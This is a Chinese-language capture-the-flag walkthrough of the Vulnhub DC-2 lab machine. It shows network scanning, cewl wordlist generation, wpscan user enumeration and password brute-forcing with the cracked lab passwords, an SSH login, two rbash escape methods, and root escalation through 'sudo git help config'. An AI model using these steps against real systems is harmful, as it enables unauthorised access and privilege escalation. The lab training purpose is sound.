Vulnhub DC-2
靶場連結
https://www.vulnhub.com/entry/dc-2,311/
一、資訊收集
1、使用arp-sacn探測同一區域中的存活主機
arp-scan -l
可以鎖定192.168.226.133為靶場ip。
2、使用nmap進行埠掃描
nmap -sS -v 192.168.226.133
3、開了一個80埠,但是打不開對應網頁,嘗試修改host檔案。
4、開啟網站可以發現其cms平臺為wordpress,點選flag。
5、flag1提示常用的密碼字典或許無法破解,但可以使用cewl,登陸其中一個賬戶就可以找到下一個flag。
cewl是利用爬蟲技術對網站作者的寫作習慣進行分析並得出可能的密碼字典。
cewl dc-2 -w de2pw.txt
6、得到了密碼,我們還需要使用者名稱,因為是wordpress的CMS,這裡用到wpscan。
wpscan --url dc-2 -eu
找到三個使用者名稱:admin,jerry,tom。將它們寫入一個使用者名稱字典並利用wpscan爆破出密碼。
wpscan --url dc-2 -P dc2pw.txt
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
7、由於找不到登入的入口,先使用dirsearch掃一下。
python3 dirsearch.py -u 192.168.226.133
可以看到登陸頁面,用上面得出的賬號密碼進行登入。
發現flag2,點選檢視。
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果您無法利用WordPress並採取捷徑,還有另一種方法。希望你找到了另一個切入點。
捷徑:可以利用wpscan掃出來的wordpress版本資訊和CVE。
8、咱還是找找另一個切入點。
1)再用nmap全面掃一次,發現還有個ssh埠7744。
nmap -A -p- 192.168.226.133
2)嘗試用剛剛兩個賬號登入,tom可以登陸成功
ssh [email protected] -p 7744
3)發現有個flag3,cat無法使用,用vi檢視
4)原來jerry許可權比tom高,需要提權。
二、繞過rbash進行提權
1、法一:
1)新建一個shell.txt,在裡邊輸入:
: set shell =/bin/sh
: shell
就可以得到sh許可權。
2)改變一下環境變數
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
2、法二:
PATH和SHELL變數很可能是'-rx',這意味著只能執行不能寫入。(如果可寫就直接寫入/bin/bash)
BASH_CMDS[a]=/bin/sh;a #把/bin/sh給a變數
export PATH=$PATH:/bin/ #將/bin 作為PATH環境變數匯出
export PATH=$PATH:/usr/bin #將/usr/bin作為PATH環境變數匯出
得到flag4.txt,提示可以利用git提權。
三、git提權
使用sudo -l 看一下可以以root許可權執行什麼命令。
網上查閱到git提權的方法:
拿一個試一下,即可得到最後的flag。
sudo git help config
!/bin/bash
參考連結
https://cloud.tencent.com/developer/article/1680551
https://www.freebuf.com/articles/system/188989.html
https://gtfobins.github.io/gtfobins/git/